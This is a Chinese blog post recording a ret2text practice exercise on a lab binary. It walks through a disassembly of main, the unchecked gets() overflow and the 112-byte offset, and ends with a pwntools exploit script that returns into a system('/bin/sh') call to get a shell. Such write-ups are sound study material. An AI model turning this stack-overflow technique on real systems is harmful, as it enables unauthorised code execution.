ret2text练习

今天简单回顾了一下ret2text,并在网上找了部分相关大佬的博客,把这次练习记录了下来。

1. 检查文件保护开启情况

我们发现之开启了NX保护

2.对主函数进行反汇编

pwndbg> disass main
Dump of assembler code for function main:
   0x08048648 <+0>:    push   ebp
   0x08048649 <+1>:    mov    ebp,esp
   0x0804864b <+3>:    and    esp,0xfffffff0
   0x0804864e <+6>:    add    esp,0xffffff80
   0x08048651 <+9>:    mov    eax,ds:0x804a060
   0x08048656 <+14>:    mov    DWORD PTR [esp+0xc],0x0
   0x0804865e <+22>:    mov    DWORD PTR [esp+0x8],0x2
   0x08048666 <+30>:    mov    DWORD PTR [esp+0x4],0x0
   0x0804866e <+38>:    mov    DWORD PTR [esp],eax
   0x08048671 <+41>:    call   0x80484d0 <setvbuf@plt>
   0x08048676 <+46>:    mov    eax,ds:0x804a040
   0x0804867b <+51>:    mov    DWORD PTR [esp+0xc],0x0
   0x08048683 <+59>:    mov    DWORD PTR [esp+0x8],0x1
   0x0804868b <+67>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048693 <+75>:    mov    DWORD PTR [esp],eax
   0x08048696 <+78>:    call   0x80484d0 <setvbuf@plt>
   0x0804869b <+83>:    mov    DWORD PTR [esp],0x804876c
   0x080486a2 <+90>:    call   0x8048480 <puts@plt>
   0x080486a7 <+95>:    lea    eax,[esp+0x1c]
   0x080486ab <+99>:    mov    DWORD PTR [esp],eax
   0x080486ae <+102>:    call   0x8048460 <gets@plt>
   0x080486b3 <+107>:    mov    DWORD PTR [esp],0x80487a4
   0x080486ba <+114>:    call   0x8048450 <printf@plt>
   0x080486bf <+119>:    mov    eax,0x0
   0x080486c4 <+124>:    leave  
   0x080486c5 <+125>:    ret    
End of assembler dump.

3.分析代码

在代码中我们可以看到存在危险函数get(溢出点),我们通过这个函数可以覆盖返回地址,跳转到system函数,接着我们开始构建payload:

4. payload的构建

使用pwndbg中的cyclic测试偏移位数:

 

 

 

偏移位数为112,接着找到system函数:

 

 接着我们使用objdump找到这个地址的函数:

 

 在这个地址的上一行,mov指令将0x80848763的数据传入到了esp寄存器中,即下放system函数的参数:

接着我们查看这个地址的参数是什么:

 

 我们可以看待这个参数:"/bin/sh",返回到这个地址即可getshell,所以我们的返回地址为0x804863a

payload=112*’a'+p32(0x804863a)

5. 构造exp

from pwn import *
offset = 112
sh = process("./ret2text")
payload = 'a' * offset + p32(0x804863a)
sh.sendline(payload)
sh.interactive()

 

posted @ 2021-02-03 23:18  eur1ka  阅读(172)  评论(0)    收藏  举报